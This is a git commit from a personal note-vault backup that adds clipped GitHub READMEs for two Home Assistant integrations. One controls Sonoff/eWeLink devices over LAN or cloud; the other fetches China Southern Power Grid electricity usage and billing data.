vault backup: 2026-01-05 13:03:55

This commit is contained in:
windyboy
2026-01-05 13:03:55 +08:00
parent 21460fc35d
commit be7c6cdcc9
589 changed files with 396508 additions and 27 deletions
@@ -0,0 +1,539 @@
---
page-title: "AlexxIT/SonoffLAN: Control Sonoff Devices with eWeLink (original) firmware over LAN and/or Cloud from Home Assistant"
url: https://github.com/AlexxIT/SonoffLAN
date: "2024-12-11 17:35:23"
---
## Control Sonoff Devices from Home Assistant
[](https://github.com/AlexxIT/SonoffLAN#control-sonoff-devices-from-home-assistant)
[![hacs_badge](https://camo.githubusercontent.com/8f3b4deb8f6c11b8f563e6549a91e5af94b6241364792bc23d2d30578839ab0c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f484143532d44656661756c742d6f72616e67652e737667)](https://github.com/hacs/integration)
Home Assistant custom component for control [Sonoff](https://www.itead.cc/) devices with [eWeLink](https://www.ewelink.cc/en/) (original) firmware over LAN and/or Cloud.
**New features in version 3.0**
- support Integration UI, Devices and Zones
- support new [eWeLink API](https://coolkit-technologies.github.io/eWeLink-API/#/en/PlatformOverview)
- support [multiple eWeLink accounts](https://github.com/AlexxIT/SonoffLAN#configuration) and [homes](https://github.com/AlexxIT/SonoffLAN#homes)
- support many sensors for each device (include [RFBridge](https://github.com/AlexxIT/SonoffLAN#sonoff-rf-bridge-433))
- support thermostats for [Sonoff TH](https://github.com/AlexxIT/SonoffLAN#sonoff-th) ans NS Panel
- support [preventing DB size growth](https://github.com/AlexxIT/SonoffLAN#preventing-db-size-growth)
- support many new Hass features
**Features from previous versions**
- can manage **both local and cloud control at the same time**!
- support old devices wih 2.7 firmware (only cloud connection)
- support new device types: color lights, sensors, covers
- support [eWeLink cameras](https://github.com/AlexxIT/SonoffLAN#sonoff-gk-200mp2-b-camera) with PTZ
- support unavailable device state for both local and cloud connection
- support sensors for Sonoff [RF Bridge 433](https://github.com/AlexxIT/SonoffLAN#sonoff-rf-bridge-433)
- support ZigBee Bridge and Devices
- added new [debug mode](https://github.com/AlexxIT/SonoffLAN#debug-page) for troubleshooting
**Pros**
- work with original eWeLink / Sonoff firmware, no need to flash devices
- work over Local Network and/or Cloud Server
- work with devices without DIY-mode
- work with devices in DIY-mode
- support single and multi-channel devices
- support TH and Pow device sensors
- support Sonoff [RF Bridge 433](https://github.com/AlexxIT/SonoffLAN#sonoff-rf-bridge-433) for receive and send commands
- support Sonoff [GK-200MP2-B Camera](https://github.com/AlexxIT/SonoffLAN#sonoff-gk-200mp2-b-camera)
- instant device state update with local Multicast or cloud Websocket connection
- load devices list from eWeLink Servers (with names and encryption keys) and save it locally
- (optional) change [device type](https://github.com/AlexxIT/SonoffLAN#custom-device_class) from `switch` to `light`
**Component review from DrZzs**
[![Sonoffs can work with Home Assistant without changing the Firmware!](https://camo.githubusercontent.com/25e7e666c7de01be08e5722e82582176cd0a66c64e0798b05e6ac66ea04f1174/68747470733a2f2f696d672e796f75747562652e636f6d2f76692f447354714f6c725151316b2f6d7164656661756c742e6a7067)](https://www.youtube.com/watch?v=DsTqOlrQQ1k)
There is another great component by [@peterbuga](https://github.com/peterbuga/HASS-sonoff-ewelink), that works with cloud servers.
Thanks to [@beveradb](https://github.com/beveradb/sonoff-lan-mode-homeassistant) and [@mattsaxon](https://github.com/mattsaxon/sonoff-lan-mode-homeassistant) for researching the local Sonoff protocol. Thanks to [@michthom](https://github.com/michthom) and [@EpicLPer](https://github.com/EpicLPer) for researching the local Sonoff Camera protocol.
## Tested Devices
[](https://github.com/AlexxIT/SonoffLAN#tested-devices)
Almost any single or multi-channel Switch working in the eWeLink application will work with this Integration even if it is not on the list.
**Tested (LAN and Cloud)**
These devices work both on a local network and through the cloud.
- Sonoff Basic, [BASICR2](https://itead.cc/product/sonoff-basicr2/), [BASICR3](https://itead.cc/product/sonoff-basicr3-wifi-diy-smart-switch/), [RFR2](https://itead.cc/product/sonoff-rf/), [RFR3](https://itead.cc/product/sonoff-rfr3/)
- [Sonoff Mini/MINIR2](https://itead.cc/product/sonoff-mini/), [MINI R3](https://itead.cc/product/sonoff-minir3-smart-switch/) (no need use DIY-mode)
- [Sonoff Micro](https://itead.cc/product/sonoff-micro-5v-usb-smart-adaptor/)
- [Sonoff TH10/TH16](https://itead.cc/product/sonoff-th/) (support Thermostat)
- Sonoff 4CH, 4CHR2, [4CHR3 & 4CHPROR3](https://itead.cc/product/sonoff-4ch-r3-pro-r3/)
- Sonoff [POWR2](https://itead.cc/product/sonoff-pow-r2/) (show power consumption)
- [Sonoff DUALR3/DUALR3 Lite](https://itead.cc/product/sonoff-dualr3/)
- [Sonoff RF Bridge 433](https://www.itead.cc/sonoff-rf-bridge-433.html) (receive and send commands) fw 3.5.0
- [Sonoff D1](https://www.itead.cc/sonoff-d1-smart-dimmer-switch.html) (dimmer with brightness control) fw 3.4.0, 3.5.0
- [Sonoff G1](https://www.itead.cc/sonoff-g1.html) fw 3.5.0
- [Sonoff Dual](https://www.itead.cc/sonoff-dual.html)
- Sonoff iFan02, iFan03, [iFan04](https://www.itead.cc/sonoff-ifan03-wifi-ceiling-fan-light-controller.html) (light and fan with speed control) fw 3.4.0
- Sonoff S20, [S26](https://itead.cc/product/sonoff-s26-wifi-smart-plug/), [S31](https://itead.cc/product/sonoff-s31/), [S40](https://itead.cc/product/sonoff-iplug-series-wi-fi-smart-plug-s40-s40-lite/) fw 1.3, 1.4, [S55](https://itead.cc/product/sonoff-s55/)
- [Sonoff SV](https://www.itead.cc/sonoff-sv.html) fw 3.0.1
- Sonoff T1, [TX Series](https://itead.cc/product/sonoff-tx-series-wifi-smart-wall-switches/)
- [Sonoff T4EU1C](https://www.itead.cc/sonoff-t4eu1c-wi-fi-smart-single-wire-wall-switch.html)
- [Sonoff IW100/IW101](https://www.itead.cc/sonoff-iw100-iw101.html)
- [Sonoff Slampher R2](https://www.itead.cc/sonoff-slampher-r2.html)
- [Sonoff 5V DIY](https://www.aliexpress.com/item/32818293817.html)
- [Sonoff RE5V1C](https://www.itead.cc/sonoff-re5v1c.html)
- [Sonoff NSPanel](https://itead.cc/product/sonoff-nspanel-smart-scene-wall-switch/)
- [MiniTiger Wall Switch](https://www.aliexpress.com/item/33016227381.html) (I have 8 without zero-line) fw 3.3.0
- [Smart Circuit Breaker](https://www.aliexpress.com/item/4000454408211.html), [link](https://www.aliexpress.com/item/4000351300288.html), [link](https://www.aliexpress.com/item/4000077475264.html)
- [Smart Timer Switch](https://www.aliexpress.com/item/4000189016383.html)
- [Eachen WiFi Smart Touch](https://ewelink.eachen.cc/product/eachen-single-live-wall-switch-us-ac-l123ewelink-app/) fw 3.3.0
**Tested (only Cloud)**
These devices only work through the cloud!
- Sonoff POW (first) fw 2.6.1
- [Sonoff L1](https://www.itead.cc/sonoff-l1-smart-led-light-strip.html) (color, brightness, effects) fw 2.7.0
- [Sonoff B1](https://www.itead.cc/sonoff-b1.html) (color, brightness, color temp) fw 2.6.0
- Sonoff B02, B05-B, B05-BL
- [Sonoff SC](https://www.itead.cc/sonoff-sc.html) (five sensors) fw 2.7.0
- [Sonoff DW2](https://www.itead.cc/sonoff-dw2.html)
- [Sonoff SwitchMan R5](https://itead.cc/product/sonoff-switchman-scene-controller-r5/)
- [Sonoff S-MATE](https://sonoff.tech/product/diy-smart-switch/s-mate/)
- [Sonoff S40](https://itead.cc/product/sonoff-iplug-series-wi-fi-smart-plug-s40-s40-lite/) fw 1.1
- [King Art - King Q4 Cover](https://www.aliexpress.com/item/32956776611.html) (pause, position) fw 2.7.0
- [KING-M4](https://www.aliexpress.com/item/33013358523.html) (brightness) fw 2.7.0
- [Eachen WiFi Door/Window Sensor](https://ewelink.eachen.cc/product/eachen-wifi-smart-door-window-sensor-wdw-ewelink/)
- [Essential Oils Diffuser](https://www.amazon.co.uk/dp/B07WF7MQ17) (fan and color light) fw 2.9.0
- [Smart USB Mosquito Killer](https://www.aliexpress.com/item/33037963105.html)
- [Smart Bulb RGB+CCT](https://www.aliexpress.com/item/4000764330397.html)
**Tested ZigBee (only Cloud)**
- [Sonoff ZigBee Bridge](https://www.itead.cc/sonoff-zbbridge.html) - turn on for pairing mode
- SONOFF SNZB-01 - Zigbee Wireless Switch
- SONOFF SNZB-02 - ZigBee Temperature and Humidity Sensor
- SONOFF SNZB-03 - ZigBee Motion Sensor
- SONOFF SNZB-04 - ZigBee Wireless door/window sensor
**Tested Cameras (only LAN)**
Maybe other eWeLink cameras also work, I dont know.
- [Camera GK-100CD10B](https://www.gearbest.com/smart-home-controls/pp_009678072743.html) (camera with PTZ)
- [Sonoff GK-200MP2-B](https://www.itead.cc/sonoff-gk-200mp2-b-wi-fi-wireless-ip-security-camera.html) (camera with PTZ)
## Installation
[](https://github.com/AlexxIT/SonoffLAN#installation)
[HACS](https://hacs.xyz/) > Integrations > Plus > **SonoffLAN**
Or manually copy `sonoff` folder from [latest release](https://github.com/AlexxIT/SonoffLAN/releases/latest) to `custom_components` folder in your config folder.
## Configuration
[](https://github.com/AlexxIT/SonoffLAN#configuration)
Configuration > [Integrations](https://my.home-assistant.io/redirect/integrations/) > Add Integration > [Sonoff](https://my.home-assistant.io/redirect/config_flow_start/?domain=sonoff)
*If the integration is not in the list, you need to clear the browser cache.*
You can setup multiple integrations with different ewelink accounts.
**Important**. If you use the same account in different smart home systems, you will be constantly unlogged from everywhere. In this case, you need to create a second ewelink account and share your devices or home with it.
- Problems: another Home Assistant, Homebridge, [eWeLink addon](https://www.ewelink.cc/en/2021/06/23/ewelink-home-assistant-add-on-github-archive/), etc.
- No Problems: latest [eWeLink mobile app v4+](https://www.ewelink.cc/en/)
## Issues
[](https://github.com/AlexxIT/SonoffLAN#issues)
Before posting new issue:
1. Check the number of online devices on the [System Health page](https://my.home-assistant.io/redirect/system_health)
2. Check warning and errors on the [Logs page](https://my.home-assistant.io/redirect/logs/)
3. Check **debug logs** on the [Debug page](https://github.com/AlexxIT/SonoffLAN#debug-page) (must be enabled in integration options)
4. Check **open and closed** [issues](https://github.com/AlexxIT/SonoffLAN/issues?q=is%3Aissue)
5. Share integration [diagnostics](https://www.home-assistant.io/integrations/diagnostics/) (supported from Hass v2022.2):
- All devices: Configuration > [Integrations](https://my.home-assistant.io/redirect/integrations/) > **Sonoff** > 3 dots > Download diagnostics
- One device: Configuration > [Devices](https://my.home-assistant.io/redirect/devices/) > Device > Download diagnostics
*There is no private data, but you can delete anything you think is private.*
## Configuration UI
[](https://github.com/AlexxIT/SonoffLAN#configuration-ui)
Configuration > [Integrations](https://my.home-assistant.io/redirect/integrations/) > **Sonoff** > Configure
### Mode
[](https://github.com/AlexxIT/SonoffLAN#mode)
In `auto` mode component using both local and cloud connections to your devcies. If device could be reached via LAN - the local connection will be used. Otherwise the cloud connection will be used.
`local` mode or `cloud` mode will use only this type of connection.
Sometimes it can be difficult to get a local connection to work. You need a local network with working Multicast (mDNS/[zeroconf](https://www.home-assistant.io/integrations/zeroconf/)) traffic between the Hass and your devices. Read about [common problems](https://github.com/AlexxIT/SonoffLAN#common-problems-in-only-lan-mode).
Each time the integration starts, a list of user devices is loaded from cloud and saved locally (`/config/.storage/sonoff/`).
`auto` mode and `local` mode can work without Internet connection. If the integration fails to connect to the cloud - the component will use the previously saved list of devices and continue to work only in `local` mode. `auto` mode will continue trying to connect to the cloud.
`local` mode can't work without ewelink credentials because it needs devices encryption keys.
Devices in DIY mode can be used without ewelink credentials because their protocol unencrypted.
It is **highly recommended** that you use `mode: auto` and do not use `mode: local` or DIY mode. Because the local protocol is not always stable and you will get a bad experience. Devices may sometimes disappear from the network or fail to respond to local requests. Also some POW and TH devices cannot update their sensors without a cloud connection.
### Debug page
[](https://github.com/AlexxIT/SonoffLAN#debug-page)
Enable debug page in integration options. Reload integrations page. Open: Integraion > Menu > Known issues.
Debug page shows only integration logs and removes some private data. You can filter log and enable auto refresh (in seconds).
```
http://192.168.1.123:8123/api/sonoff/c8503fee-88fb-4a18-84d9-abb782bf0aa7?q=1000xxxxxx&r=2
```
### Homes
[](https://github.com/AlexxIT/SonoffLAN#homes)
By default component loads cloud devices **only for current active Home** in ewelink application. If there is only one Home in the account, it shouldn't be a problem. Otherwise you can select one or multiple Homes to load devices from.
## Configuration YAML
[](https://github.com/AlexxIT/SonoffLAN#configuration-yaml)
These settings are made via [YAML](https://www.home-assistant.io/docs/configuration/).
**Important**. DeviceID is always 10 symbols string from entity\_id or eWeLink app.
### Custom device\_class
[](https://github.com/AlexxIT/SonoffLAN#custom-device_class)
You can convert all switches into light by default:
sonoff:
default\_class: light # (optional), default switch
You can convert specific switches into `light`, `fan` or `binary_sensor`:
sonoff:
devices:
1000xxxxxx:
device\_class: light
name: Sonoff Basic
1000yyyyyy:
device\_class: fan
name: Sonoff Mini
You can convert multi-channel devices (e.g. Sonoff T1 2C):
sonoff:
devices:
1000xxxxxx:
device\_class: \[light, fan\]
name: Sonoff T1 2C
1000yyyyyy:
device\_class: \[switch, light\]
name: MiniTiger 2CH
You can convert multi-channel device (e.g. Sonoff T1 3C) into single light with brightness control:
sonoff:
devices:
1000xxxxxx:
device\_class:
- light: \[1, 2, 3\]
name: Sonoff T1 3C
You can control multiple light zones with single multi-channel device (e.g. Sonoff 4CH):
sonoff:
devices:
1000xxxxxx:
device\_class:
- switch: 1 # entity 1 (channel 1)
- light: \[2, 3\] # entity 2 (channels 2 and 3)
- fan: 4 # entity 3 (channel 4)
name: Sonoff 4CH
You can change `device_class` for [Binary Sensor](https://www.home-assistant.io/integrations/binary_sensor/):
sonoff:
devices:
1000xxxxxx:
device\_class: window
You can change `device_class` for [Cover](https://www.home-assistant.io/integrations/cover/):
sonoff:
devices:
1000xxxxxx:
device\_class: shutter
You can set the `uiid` when running in DIY mode to enable the device features. More info [here](https://github.com/AlexxIT/SonoffLAN/blob/master/custom_components/sonoff/core/devices.py).
sonoff:
devices:
1000xxxxxx:
extra: { uiid: 136 } # Sonoff B05-BL
### Custom devices
[](https://github.com/AlexxIT/SonoffLAN#custom-devices)
sonoff:
devices:
1000xxxxxx:
name: Device name from YAML # optional rewrite device name
host: 192.168.1.123 # optional force device IP-address
devicekey: xxx # optional encription key (downloaded automatically from the cloud)
### Custom sensors
[](https://github.com/AlexxIT/SonoffLAN#custom-sensors)
If you want some additional device attributes as sensors:
sonoff:
sensors: \[staMac, bssid, host\]
### Force update
[](https://github.com/AlexxIT/SonoffLAN#force-update)
You can request actual device state and all its sensors manually at any time using `homeassistant.update_entity` service. Use it with any device entity except sensors. Use it with only one entity from each device.
As example, you can create an automation for forced temperature updates for Sonoff TH:
trigger:
- platform: time\_pattern
minutes: '3'
action:
- service: homeassistant.update\_entity
target:
entity\_id: switch.sonoff\_1000xxxxxx
### Preventing DB size growth
[](https://github.com/AlexxIT/SonoffLAN#preventing-db-size-growth)
Pow devices may send a lot of data every second. You can reduce the amount of processed data.
For multi-channel devices use `power_1`, `current_2`, etc.
sonoff:
devices:
1000xxxxxx:
reporting:
power: \[30, 3600, 1\] # min seconds, max seconds, min delta value
current: \[5, 3600, 0.1\]
voltage: \[60, 3600, 5\]
- if new value came before `min seconds` - it will be "delayed"
- if new value came between `min` and `max seconds`
- if delta lower than `delta value` - it will be "delayed"
- otherwise - it will be used
- if new value came after `max seconds` - it will be used
- any used value will erase "delayed" value
- new "delayed" value will overwrite old one
- "delayed" value will be checked for the above conditions every 30 seconds
## Sonoff Pow
[](https://github.com/AlexxIT/SonoffLAN#sonoff-pow)
Support `power`, `current` and `voltage` sensors via LAN and Cloud connections. Also support energy (consumption) sensor only with **Cloud** connection.
Many models of Sonoff power devices DON'T send `power`, `current` and `voltage` by default. You need to ASK these devices to send this data. This can ONLY be done through a cloud-based request. The mobile app does it. And the integration does it (only in the `auto` and `cloud` modes).
By default `energy` data loads from cloud every hour. You can change interval via YAML and add history data to sensor attributes (max size - 30 days, disable - 0). For multi-channel devices use `energy_1`, `energy_2`.
sonoff:
devices:
1000xxxxxx:
reporting:
energy: \[3600, 10\] # update interval (seconds), history size (days)
template:
- sensor:
- name: "10 days consumpion"
unit\_of\_measurement: "kWh"
state: "{{ (state\_attr('sensor.sonoff\_1000xxxxxx\_energy', 'history') or \[\])|sum }}"
You can also setup a [integration sensor](https://www.home-assistant.io/integrations/integration/#energy), that will collect energy data locally by Hass:
sensor:
- platform: integration
source: sensor.sonoff\_1000xxxxxx\_power
name: energy\_spent
unit\_prefix: k
round: 2
## Sonoff TH
[](https://github.com/AlexxIT/SonoffLAN#sonoff-th)
Support optional [Climate](https://www.home-assistant.io/integrations/climate/) entity that controls Thermostat. You can control low and high temperature values and hvac modes:
- **heat** - lower temp enable switch, higher temp disable switch
- **cool** - lower temp disable switch, higher temp enable switch
- **dry** - change control by **humidity** with previous low/high switch settings
In `dry` mode, the Thermostat controls and displays Humidity. But the units are displayed as temperature (Hass limitation).
Thermostat can be controlled only with **Cloud** connection. Main switch and TH sensors support LAN and Cloud connections.
## Sonoff RF Bridge 433
[](https://github.com/AlexxIT/SonoffLAN#sonoff-rf-bridge-433)
RF Bridge support learning up to 64 signals (16 x 4 buttons).
**Video HOWTO from @KPeyanski**
[![Automatic Calls and Messages from Home Assistant, Sonoff RF Bridge and Smoke Detectors](https://camo.githubusercontent.com/c22aa73e978ab81fcd41ef491b239563a4eece4682625532be1c24e7ef1cb909/68747470733a2f2f696d672e796f75747562652e636f6d2f76692f5144314b3773303163616b2f6d7164656661756c742e6a7067)](https://www.youtube.com/watch?v=QD1K7s01cak?t=284)
**Important**. Integration v3 supports automatic creation of sensors for RF Bridge. All **buttons** will be created as [Button entity](https://www.home-assistant.io/integrations/button/). All **alarms** will be created as [Binary sensor](https://www.home-assistant.io/integrations/binary_sensor/).
Both button and binary sensor has `last_triggered` attribute with the time of the last signal received. You can use it in automations.
Binary sensor will stay in `on` state during **120 seconds** by default. Each new signal will reset the timer. Binary sensor support restore state between Hass restarts.
If you has door sensor with two states (for open and for closed state) like [this one](https://www.banggood.com/10Pcs-GS-WDS07-Wireless-Door-Magnetic-Strip-433MHz-for-Security-Alarm-Home-System-p-1597356.html?cur_warehouse=CN), you can config `payload_off` as in the example below. Also disable the timeout if you do not need it in this case (with `timeout: 0` option).
You can use any `device_class` that is supported in [Binary Sensor](https://www.home-assistant.io/integrations/binary_sensor/). With `device_class: button` you can convert sensor to button.
**PIR Sensor**
sonoff:
rfbridge:
PIR Sensor 1: # button/alarm name in eWeLink application
device\_class: motion
timeout: 60 # optional (default 120), timeout in seconds for auto turn off
**Single State Sensor**
sonoff:
rfbridge:
Door Sensor 1: # button/alarm name in eWeLink application
name: Door Sensor # optional, you can change sensor name
device\_class: door # e.g. door, window
timeout: 5
**Dual State Sensor**
sonoff:
rfbridge:
Sensor1: # button/alarm name in eWeLink application (open signal)
name: Window Sensor # optional, you can change sensor name
device\_class: window # e.g. door, window
timeout: 0 # disable auto close timeout
payload\_off: Sensor2 # button/alarm name in eWeLink application (close signal)
You can read more about using this bridge in [wiki](https://github.com/AlexxIT/SonoffLAN/wiki/RF-Bridge).
## Sonoff GK-200MP2-B Camera
[](https://github.com/AlexxIT/SonoffLAN#sonoff-gk-200mp2-b-camera)
Currently only PTZ commands are supported. Camera entity is not created now.
You can send `left`, `right`, `up`, `down` commands with `sonoff.send_command` service:
script:
left:
sequence:
- service: sonoff.send\_command
data:
device: '012345' # use quotes, this is important
cmd: left
`device` - this is the number from the camera ID `EWLK-012345-XXXXX`, exactly 6 digits (leading zeros - it is important).
## Common problems in only LAN mode
[](https://github.com/AlexxIT/SonoffLAN#common-problems-in-only-lan-mode)
`auto` mode and `cloud` mode users don't have these problems.
**Devices are not displayed**
- not all devices supports local protocol
- two routers
- **docker** with port forwarding
- you must use: [\--network host](https://docs.docker.com/network/network-tutorial-host/)
- hassio users are okay
- **virtual machine** with port forwarding
- you must use bridge virtual network mode (not NAT mode)
- Oracle VM VirtualBox
- linux firewall
- linux network driver
- incorrect network interface selected in Configuration > [Settings](https://my.home-assistant.io/redirect/general/) > Global > Network
The devices publish their data through [Multicast DNS](https://en.wikipedia.org/wiki/Multicast_DNS) (mDNS/[zeroconf](https://www.home-assistant.io/integrations/zeroconf/)), read [more](http://developers.sonoff.tech/sonoff-diy-mode-api-protocol.html#Device-mDNS-Service-Info-Publish-Process).
**Devices unavailable after reboot**
All devices **unavailable** after each Home Assistant restart. Devices are automatically detected in the local network after each restart. Sometimes devices appear quickly. Sometimes after a few minutes. If this does not happen, there are some problems with the multicast / router.
## Raw commands
[](https://github.com/AlexxIT/SonoffLAN#raw-commands)
The component adds the service `sonoff.send_command` to send low-level commands.
Example service params to single switch:
device: 1000xxxxxx
switch: 'on'
Example service params to multi-channel switch:
device: 1000xxxxxx
switches: \[{outlet: 0, switch: 'off'}\]
Example service params to dimmer:
device: 1000123456
cmd: dimmable
switch: 'on'
brightness: 50
mode: 0
## Getting devicekey manually
[](https://github.com/AlexxIT/SonoffLAN#getting-devicekey-manually)
*The average user does not need to get the device key manually. The component does everything automatically, using the ewelink account.*
1. Put the device in setup mode
2. Connect to the Wi-Fi network `ITEAD-10000`, password `12345678`
3. Open in browser `http://10.10.7.1/device`
4. Copy `deviceid` and `apikey` (this is `devicekey`)
5. Connect to your Wi-Fi network and setup Sonoff via the eWeLink app
## Useful Links
[](https://github.com/AlexxIT/SonoffLAN#useful-links)
- [https://github.com/peterbuga/HASS-sonoff-ewelink](https://github.com/peterbuga/HASS-sonoff-ewelink)
- [https://github.com/beveradb/sonoff-lan-mode-homeassistant](https://github.com/beveradb/sonoff-lan-mode-homeassistant)
- [https://github.com/mattsaxon/sonoff-lan-mode-homeassistant](https://github.com/mattsaxon/sonoff-lan-mode-homeassistant)
- [https://github.com/EpicLPer/Sonoff\_GK-200MP2-B\_Dump](https://github.com/EpicLPer/Sonoff_GK-200MP2-B_Dump)
- [https://github.com/bwp91/homebridge-ewelink](https://github.com/bwp91/homebridge-ewelink)
- [https://blog.ipsumdomus.com/sonoff-switch-complete-hack-without-firmware-upgrade-1b2d6632c01](https://blog.ipsumdomus.com/sonoff-switch-complete-hack-without-firmware-upgrade-1b2d6632c01)
- [https://github.com/itead/Sonoff\_Devices\_DIY\_Tools](https://github.com/itead/Sonoff_Devices_DIY_Tools)
- [SONOFF DIY MODE API PROTOCOL](http://developers.sonoff.tech/sonoff-diy-mode-api-protocol.html)
- [No Tasmota And EWeLink Cloud To Control The SONOFF Device? YES!](https://sonoff.tech/product-tutorials/diy-mode-to-control-the-sonoff-device)
@@ -0,0 +1,165 @@
---
page-title: "CubicPill/china_southern_power_grid_stat: Home Assistant intergration to get statictics from China Southern Power Grid (CSG) 南方电网HA集成"
url: https://github.com/CubicPill/china_southern_power_grid_stat
date: "2024-12-11 17:22:05"
---
## China Southern Power Grid Statistics
[](https://github.com/CubicPill/china_southern_power_grid_stat#china-southern-power-grid-statistics)
## 南方电网电费数据HA集成
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E5%8D%97%E6%96%B9%E7%94%B5%E7%BD%91%E7%94%B5%E8%B4%B9%E6%95%B0%E6%8D%AEha%E9%9B%86%E6%88%90)
[![hacs_badge](https://camo.githubusercontent.com/c430acde220d0b69bcab5985d189f6721e04ac42b4cedd417157fc3dc48a5661/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f484143532d44656661756c742d3431424446352e737667)](https://github.com/hacs/integration) [![GitHub release (latest by date)](https://camo.githubusercontent.com/fbf093e16a62934f9abebba800faf9dcb3bbdc0d5a8f1dd813e85e2dfa5551ea/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f637562696370696c6c2f6368696e615f736f75746865726e5f706f7765725f677269645f73746174)](https://github.com/CubicPill/china_southern_power_grid_stat/releases) [![License: GPL v3](https://camo.githubusercontent.com/8a398fc9fbf479a323d2d91b9fcb6fb9c6b4d08e96dbb544488ccbed312115fc/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d47504c76332d626c75652e737667)](https://www.gnu.org/licenses/gpl-3.0)
## 支持功能
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E6%94%AF%E6%8C%81%E5%8A%9F%E8%83%BD)
- ✅支持南方电网覆盖范围内的电费数据查询(广东、广西、云南、贵州、海南)
- ✅支持使用手机号、短信验证码和密码(可选)登录,支持南网在线APP、微信、支付宝扫码登录
- ✅支持多个南网账户(每个账户一个集成),支持单个账户下的多个缴费号
- ✅数据自动抓取和更新(默认间隔4小时,可配置)
- ✅全程GUI配置,无需编辑yaml进行配置(暂不支持yaml配置)
可接入如下数据:
- 当前余额和欠费
- 当前阶梯电量数据(档位、阶梯剩余电量、阶梯电价)
- 昨日用电量
- 最新一日用电量、电费(取有数据的最近一日)
- 本年度总用电量、总电费(非实时,更新到上个月)
- 本年度每月用电量、电费(非实时,更新到上个月)
- 上年度总用电量、总电费
- 上年度每月用电量、电费
- 当月累计用电量、电费(非实时,有2天左右的延迟)
- 当月每日用电量、电费(非实时,有2天左右的延迟)
- 上月累计用电量、电费
- 上月每日用电量、电费
❌**不支持**阶梯电费设置(仅能获取当前所在阶梯)、峰谷电价设置和电费计算(本插件只进行数据抓取和转换,不进行任何计算), 暂时也没有支持计划(南网暂时没有统一的API),如有需求,建议单独创建对应的电价实体。
❌因为南网登录API调整,不再支持登录态失效之后自动重新登录,需要手动重新登录。
## 使用方法
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95)
使用[HACS](https://hacs.xyz/)或[手动下载安装](https://github.com/CubicPill/china_southern_power_grid_stat/releases)
注意:本集成需求`Home Assistant`最低版本为`2022.11`
### 配置界面
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E9%85%8D%E7%BD%AE%E7%95%8C%E9%9D%A2)
支持的登录方式
[![](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_login.png)](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_login.png)
配置界面
[![](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_add_account.png)](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_add_account.png)
添加缴费号
[![](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_select_account.png)](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_select_account.png)
传感器列表
- 余额
- 欠费
- 当前阶梯档位
- 当前阶梯剩余电量
- 当前阶梯电价
- 上月电费
- 上月用电量
- 当月用电量
- 当月电费
- 本年度电费
- 本年度用电量
- 上年度电费
- 上年度用电量
- 最近日用电量
- 最近日电费
- 昨日用电量
传感器额外参数(每月用量、每日用量)
[![](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/sensor_attr.png)](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/sensor_attr.png)
参数设置
[![](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_params.png)](https://raw.githubusercontent.com/CubicPill/china_southern_power_grid_stat/master/img/setup_params.png)
### 数据更新策略
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E6%95%B0%E6%8D%AE%E6%9B%B4%E6%96%B0%E7%AD%96%E7%95%A5)
由于上月数据和去年数据在生成之后一般不会发生变化,因此对于上月累计用电量、上月每日用电量、上年度累计用电量、上年度每月用电量,数据更新间隔将会与一般更新间隔有所不同。 具体更新策略如下:
对于上月数据,在每月前3天(1~3日)将会跟随一般更新间隔更新(默认为4小时),其余时间将会停止更新,但数据依然可用。
对于去年数据,在每年一月的前7天(1月1日~1月7日)将会每天更新(在每天第一次触发更新时更新),其余时间将会停止更新,但数据依然可用。
如果需要强制刷新数据,重载集成即可。
## 一些技术细节
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E4%B8%80%E4%BA%9B%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A%82)
### 登录接口加密原理
[](https://github.com/CubicPill/china_southern_power_grid_stat#%E7%99%BB%E5%BD%95%E6%8E%A5%E5%8F%A3%E5%8A%A0%E5%AF%86%E5%8E%9F%E7%90%86)
登录接口的请求数据和返回数据都经过加密,其中请求数据经过两层加密:整个请求数据的`AES`加密和密码字段的`RSA` 公钥加密(密钥、公钥具体值见代码)。
加密前的请求数据结构如下:
{
"areaCode": "xxx",
"acctId": "xxx",
"logonChan": "xxx",
"credType": "xxx",
"credentials": "xxx" // <- encrypted with RSA
}
返回数据同样经过`AES`加密,密钥与请求数据相同。但返回值其中暂时不包含有用信息,验证状态码正常后可以直接忽略内容。
### Web端接口和App端接口
[](https://github.com/CubicPill/china_southern_power_grid_stat#web%E7%AB%AF%E6%8E%A5%E5%8F%A3%E5%92%8Capp%E7%AB%AF%E6%8E%A5%E5%8F%A3)
对于南网API相关信息的提取主要通过Web端的抓包和JS代码获取。 之后因为登录态有效期问题,对App端抓包进行比对后切换到App端API。 经过验证,Web端(网上营业厅)和App端(南网在线)的API接口基本相同,差别主要在于:
| | Web | App |
| --- | --- | --- |
| API路径 | ucs/ma/wt/ | ucs/ma/zt/ |
| 支持登录方式 | 手机号+验证码(+密码),南网在线/微信/支付宝扫码 | 手机号+验证码(+密码),微信/支付宝跳转登录 |
| token有效期 | 几小时(有待进一步确认) | 较长(有待进一步确认) |
| Cookies | token包含在cookies中 | 无cookies |
| 敏感信息(姓名、地址等) | 部分信息用“\*”隐去 | 有明文全文 |
另外在HTTP请求头上有细微的差别(如:UA),但实际上对于请求的返回结果没有影响。
### API 实现库
[](https://github.com/CubicPill/china_southern_power_grid_stat#api-%E5%AE%9E%E7%8E%B0%E5%BA%93)
